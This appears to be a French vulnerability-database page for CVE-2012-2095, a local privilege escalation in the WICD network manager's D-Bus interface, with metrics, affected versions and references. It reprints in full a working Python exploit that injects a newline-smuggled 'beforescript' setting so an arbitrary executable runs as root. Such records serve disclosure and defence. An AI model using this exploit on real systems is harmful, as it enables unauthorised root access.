CVE-2012-2095 : Détail

CVE-2012-2095

A03-Injection
0.58%V4
Local
2014-04-07
13h00 +00:00
2014-04-07
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The SetWiredProperty function in the D-Bus interface in WICD before 1.7.2 allows local users to write arbitrary configuration settings and gain privileges via a crafted property name in a dbus message.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 18733

Date de publication : 2012-04-11 22h00 +00:00
Auteur : anonymous
EDB Vérifié : Yes

#!/usr/bin/python #wicd <= 1.7.1 0day exploit discovered on 4.9.12 by InfoSec Institute student #For full write up and description go to http://www.infosecinstitute.com/courses/ethical_hacking_training.html import sys import os import time import getopt try: from wicd import dbusmanager except: print "[!] WICD Error: libraries are not available. Is WICD installed?"; sys.exit(0) class Error(Exception): def __init__(self, error): self.errorStr=error def __str__(self): return repr(self.errorStr) class Wicd(): wireless=None daemon=None versionString=None def __init__(self): try: dbusmanager.connect_to_dbus() dbusInterfaces = dbusmanager.get_dbus_ifaces() self.wireless = dbusInterfaces["wireless"] self.daemon = dbusInterfaces["daemon"] except: raise Error("Daemon is not running") self.versionString = self.daemon.Hello() def versionLessThan(self, version): if int(self.versionString.replace(".",""))<=version: return True else: return False class Exploit(): def __init__(self, wicd, scriptPath): self.wicd = wicd self.scriptPath = scriptPath def getNets(self): self.wicd.wireless.Scan(True) nets = self.wicd.wireless.GetNumberOfNetworks() while nets < 1: self.wicd.wireless.Scan(True) nets = self.wicd.wireless.GetNumberOfNetworks() for net in range(nets): yield net def exploit(self): for net in self.getNets(): pass # Priming scan. try: self.wicd.wireless.SetWirelessProperty(0, "beforescript = "+ self.scriptPath +"\nrooted", "true") except: raise Error("Unable to exploit (SetWirelessProperty() failed.)") try: self.wicd.wireless.SaveWirelessNetworkProperty(0, "beforescript = "+ self.scriptPath +"\nrooted") except: raise Error("Unable to exploit (SetWirelessProperty() failed.)") propertyKey = 'bssid' # Could be essid, or any other identifiable wireless property vulnIdentifier = self.wicd.wireless.GetWirelessProperty(0, propertyKey) # TODO: Does this need a try construct? self.wicd.wireless.ReloadConfig() for net in self.getNets(): # Implicit, but required re-scan. if self.wicd.wireless.GetWirelessProperty(net, propertyKey) == vulnIdentifier: self.wicd.wireless.ConnectWireless(net) return True raise Error("Unable to exploit (Lost the network we were using)") def usage(): print "[!] Usage:" print " ( -h, --help ):" print " Print this message." print " ( --scriptPath= ): Required, executable to run as root." print " --scriptPath=/some/path/to/executable.sh" def main(): print "[$] WICD =< 1.7.0Day" try: opts, args = getopt.getopt(sys.argv[1:], "h", ["help", "scriptPath="]) except getopt.GetoptError, err: # Print help information and exit: print '[!] Parameter error:' + str(err) # Will print something like "option -a not recognized" usage() sys.exit(0) scriptPath=None for opt, arg in opts: if opt in ("-h", "--help"): usage() sys.exit(0) elif opt =="--scriptPath": scriptPath=arg else: # I would be assuming to say we'll never get here. print "[!] Parameter error." usage() sys.exit(0) if not scriptPath: print "[!] Parameter error: scriptPath not set." usage() sys.exit(0) try: wicd = Wicd() except Error as error: print "[!] WICD Error: %s" % (error.errorStr) exit(0) print "[*] WICD Connection Initialized! (Version: %s)" % (wicd.versionString) if not wicd.versionLessThan(171): print "[!] WICD Warning: version print exceeds 1.7.1: Trying anyhow." exploit = Exploit(wicd, scriptPath) print "[*] Attempting to exploit:" try: exploit.exploit() except Error as error: print "[!] Exploit Error: %s" % (error.errorStr) exit(0) print "[*] Exploit appears to have worked." # Standard boilerplate to call the main() function to begin # the program. if __name__=='__main__': main()

Products Mentioned

Configuraton 0

David_paleino>>Wicd >> Version To (including) 1.7.1

David_paleino>>Wicd >> Version 1.2.7

David_paleino>>Wicd >> Version 1.3.1

David_paleino>>Wicd >> Version 1.4.0

David_paleino>>Wicd >> Version 1.4.1

David_paleino>>Wicd >> Version 1.4.2

David_paleino>>Wicd >> Version 1.5.0

David_paleino>>Wicd >> Version 1.5.1

David_paleino>>Wicd >> Version 1.5.2

David_paleino>>Wicd >> Version 1.5.3

David_paleino>>Wicd >> Version 1.5.4

David_paleino>>Wicd >> Version 1.5.5

David_paleino>>Wicd >> Version 1.5.6

David_paleino>>Wicd >> Version 1.5.7

David_paleino>>Wicd >> Version 1.5.8

David_paleino>>Wicd >> Version 1.5.9

David_paleino>>Wicd >> Version 1.6.0

David_paleino>>Wicd >> Version 1.6.2

David_paleino>>Wicd >> Version 1.7.0

David_paleino>>Wicd >> Version 1.7.1

Fedoraproject>>Fedora >> Version 15

Fedoraproject>>Fedora >> Version 16

Fedoraproject>>Fedora >> Version 17

Références

http://secunia.com/advisories/48759
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/52987
Tags : vdb-entry, x_refsource_BID
http://www.openwall.com/lists/oss-security/2012/04/11/2
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/49657
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2012/04/11/3
Tags : mailing-list, x_refsource_MLIST
http://www.exploit-db.com/exploits/18733
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.gentoo.org/security/en/glsa/glsa-201206-08.xml
Tags : vendor-advisory, x_refsource_GENTOO